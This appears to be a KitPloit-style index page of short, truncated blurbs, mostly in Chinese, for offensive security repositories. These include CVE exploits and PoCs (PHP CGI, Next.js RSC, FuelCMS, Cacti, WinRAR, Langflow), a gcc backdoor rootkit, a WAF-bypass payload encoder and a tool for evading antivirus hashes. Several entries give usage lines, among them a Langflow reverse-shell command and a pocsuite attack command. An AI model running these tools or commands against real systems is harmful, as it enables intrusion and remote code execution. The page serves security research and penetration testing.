CVE-2024-4577-Nuclei-Template

CVE-2024-4577 Nuclei 模板 此仓库包含一个 Nuclei 模板，用于检测标识为 CVE-2024-4577 的 PHP CGI 参数注入漏洞。 模板详情 root@kitploit: id: CVE-2024-4577 info: name: CVE-2024-4577 PHP CGI Argument Injection author: Hüseyin TINTAŞ severity: critical description: CVE-2024-4577 PHP CGI 参数注入漏洞。 此模板检查响应中是否包含 "CVE20244577TEST"，以表明注入成功。...

CVE-2024-24401

漏洞报告 CVE 发现者：Jarod Jaslow MAWK （设计用于在 KALI LINUX 上运行） 备注 Nagios 已在所有最近的下载中修补了 2024R1.0.1 版本。要判断目标是否存在漏洞，请确保他们使用的是 2024R1.0.1 的旧版下载。 更新后的脚本会检查目标系统是否存在漏洞 OVA NAGIOS 用户凭据：mawk:mawk 下载：https://1drv.ms/u/s!Aj-SNbxrSxWZh51fp476lHxNHGd6jA?e=AX3mJU 漏洞详情： 端点： /nagiosxi//config/monitoringwizard.php Nagios ...

NextRce

NextRce - Next.js RSC 漏洞利用工具 CVE-2025-55182 针对 Next.js App Router 的高级漏洞扫描与利用工具 由Mitsec 开发 🔥 新特性：WAF 绕过模式 UTF-16LE 包含 childprocess 或 execSync 等关键词的标准攻击载荷常常会被 Web 应用防火墙（WAF）拦截。 NextRCSWaff.py 利用专门的 UTF-16LE（小端序） 编码引擎。通过以这种特定格式编码恶意载荷，字节序列完全改变，使其对大多数基于签名的 WAF 不可见。然而，Next.js（Node.js）服务器能够正确解码并执行该命令。...

CVE-2019-11447-POC

sadnews CuteNews 2.1.2 - CVE-2019-11447 概念验证 POC 由 CRFSlick 提供，发现者 AkkuS 已在 CutePHP CuteNews 2.1.2 中发现一个问题。攻击者可通过个人资料区域的头像上传过程，利用 avatarfile 字段（指向 index.php?mod=main&opt=personal）渗入服务器。在 /core/modules/dashboard.php 中没有对 $imgsize 进行有效控制。可以更改文件头内容并绕过控制以执行代码。（攻击者可为此使用 GIF 头。） 用法 root@kitploit: Usage...

ElfDoor-gcc

ElfDoor-gcc ElfDoor-gcc 是一个 LDPRELOAD，它劫持 gcc 在链接过程中向二进制文件注入恶意代码，而无需修改源代码。 详细文章：https://matheuzsecurity.github.io/hacking/gcc/ 安装 root@kitploit: git clone https://github.com/MatheuZSecurity/ElfDoor-gcc cd ElfDoor-gcc chmod +x install.sh sudo ./install.sh Rootkit 研究人员 https://discord.gg/66N5ZQppU7...

CVE-2024-41817-poc

ImageMagick 任意代码执行漏洞 CVE-2024-41817 针对 ImageMagick 版本 = 9.4.0 Python 包： paramiko 安装 root@kitploit: git clone https://github.com/Dxsk/CVE-2024-41817-poc/ cd CVE-2024-41817-poc pip install -r requirements.txt 用法 自动检测易受攻击版本： root@kitploit: python3 exploit.py -H -p -u -P -d 仅构建载荷： root@kitploit:...

CVE-2021-26700

NPM VSCode 扩展中的远程代码执行漏洞 已于 2021 年 2 月 10 日修复，修复提交：https://github.com/microsoft/vscode-npm-scripts/commit/cdd5e507564e0cc0f60bcccf184822be3fd73e07 漏洞公告：https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26700 概述 eg2.vscode-npm-script VSCode 扩展（测试版本为 0.3.13）中存在远程代码执行漏洞，这意味着项目中的恶意...

Hacknetics

Hacknetics Hacknetics 🛡️ 所有者： ice-wzl 贡献者： ice-wzl, Jfox32199 请考虑捐赠： https://buymeacoffee.com/icewzl 描述： 您的一站式 OSCP 与红队参考资源！🚀 本仓库包含精心整理的代码片段、指南、命令语法和高级策略。只需克隆一次，即可访问流行的渗透测试工具和资源。 主题/标签： bash-script, batch-script, educational, , , , , , , , , , , , , ,...

Moniker-Link-CVE-2024-21413

🛡️ Moniker Link CVE-2024-21413 房间： Moniker Link CVE-2024-21413 — TryHackMe 状态： ✅ 完成 日期： 2025年5月30日 🎯 目标 理解并利用 CVE-2024-21413，这是 Microsoft Outlook 中的一个漏洞，通过 Moniker 链接绕过受保护的视图，泄露 NTLM 凭据。学习如何执行攻击以及如何检测或缓解该漏洞。 🗝️ 关键概念 Moniker 链接 — 一种超链接类型，可使用 COM 模型引用 Windows 中的系统组件和应用程序。 受保护的视图 — Outlook...

CVE-2014-6271-Apache-Debian

CVE-2014-6271-Apache-Debian 概述 本仓库是 CVE-2014-6271 的 PoC 环境。 您可以使用 apache2 容器镜像部署包含该漏洞的 Web 服务。 准备 镜像构建 根据 Dockerfile 构建不安全镜像。 root@kitploit: docker build -t cve-2014-6271-apache-debian:buster ./insecure-base-image/ docker build -t training-website-poc:v1.0 ./web-insecure/ 部署 PoC 容器 Docker 以 docke...

CVE-2022-22947

CVE-2022-22947 poc: pocsuite -r CVE-2022-22947POCEXP.py -u url --verify exp: pocsuite -r CVE-2022-22947POCEXP.py -u url --attack --command "command" 免责声明 此工具仅用于学习、研究和自查。不应将其用于非法目的。使用本工具产生的一切风险与我无关！ Disclaimer This tool is for study, research, and self-examination only. It should not be used for...

CVE-2018-16763-FuelCMS-1.4.1-RCE

CVE-2018-16763 - FuelCMS = 1.4.1 RCE 用于在 FuelCMS = 1.4.1 上触发 CVE-2018-16763 RCE 的漏洞利用程序及交互式 shell。 功能特性 使用 CVE-2018-16763 在 FuelCMS 中自动上传 php webshell API。 通过带有 ?action=exec 的 API 执行系统命令。 使用 ?action=download 将远程系统中的文件下载到你的攻击机。 使用方法 环境要求 ：无需任何条件，此漏洞利用无需身份验证。 步骤 1：上传 webshell 插件 首先，你需要启动交互式...

cacti-cve-2022-46169-exploit

CVE-2022-46169 PoC：认证绕过与远程代码执行 本仓库包含 CVE-2022-46169 漏洞的 PoC，该漏洞允许攻击者绕过认证并在受影响系统上远程执行任意代码。此漏洞影响 2022 年 8 月 18 日发布的 Cacti 版本 1.2.22。 该漏洞的产生原因是 remoteagent.php 中有一个用于检索 IP 地址并验证 poller 表中条目的函数。如果找到条目，函数将返回 true，客户端即被授权。其中一个名为 polldata 的操作会检索几个请求参数，如果 polleritem 的 action 等于...

c0ntextomy

c0ntextomy 一种非正式谬误和虚假归因类型，其中一段文本被从其上下文中移除，从而扭曲其原本意图。 维基百科 - 断章取义 一个概念验证，演示了通过调试会话劫持、远程代码执行和敏感数据窃取进行的漏洞利用。 安全公告 macOS/Xcode 的 MobileDevice.framework 以及 iOS/iPadOS/tvOS 的开发工具存在设计缺陷，导致网络通信以明文形式传输，尽管服务连接设置确实执行了 SSL 握手。 有关漏洞的详细信息、受影响组件及版本，请参阅 advisory.md。 作者 Dany Lisiansky @danyl931，独立安全研究员 Nikias...

Admin-Panel_Finder

Admin Panel Finder Una extensión de Burp Suite que enumera interfaces de administración de infraestructura y aplicaciones. Referencias OWASP: Clasificación : Pruebas de Seguridad en Aplicaciones Web 02-Pruebas de Gestión de Configuración y Despliegue OTG v4 : OWASP OTG-CONFIG-005 WSTG :...

CVE-2026-5027

本文是由EQSTLab发布的研究文章。 感谢Yahia Hamza报告并分析了此漏洞。 CVE-2026-5027 ★ CVE-2026-5027 Langflow 路径遍历/任意文件写入 PoC ★ 描述 CVE-2026-5027: Langflow 任意文件写入漏洞 描述：Langflow Reverse shell via cron job python3 CVE-2026-5027.py -t --lhost --lport 4444 分析 漏洞端点 root@kitploit: POST /api/v2/files 问题在于上传功能信任客户端提供的多部分 filename...

CVE-2023-38831-RaRCE

RaRCE, Generador de exploits para CVE-2023-38831 Esta es una herramienta fácil de instalar y usar, un generador de exploits versátil para CVE-2023-38831, una vulnerabilidad que afecta a versiones de WinRAR anteriores a la 6.23. RARLabs WinRAR anterior a la versión 6.23 permite a los atacantes...

CVE-2022-33980-Apache-Commons-Configuration-RCE

CVE-2022-33980-Apache-Commons-Configuration-RCE...

recomposer

Recomposer.py Ever have that not so safe feeling uploading your malware binaries to VirusTotal or other AV sites because you can look up binaries by hashes? Example: https://github.com/mubix/vt-notify Feel somewhat safer with Recomposer! Recomposer will take your binary and randomly do the...

Microsoft Windows Cloud Files Mini Filter Driver CldiStreamPrepareRequestForMoreProcessing Type Confusion vulnerability

Summary A type confusion vulnerability exists in the CldiStreamPrepareRequestForMoreProcessing functionality of Windows Cloud Files Mini Filter Driver versions: 10.0.26100.8457 WinBuild.160101.0800 and 10.0.26100.8655 WinBuild.160101.0800. A specially crafted sequence of Cloud Filter API calls ca...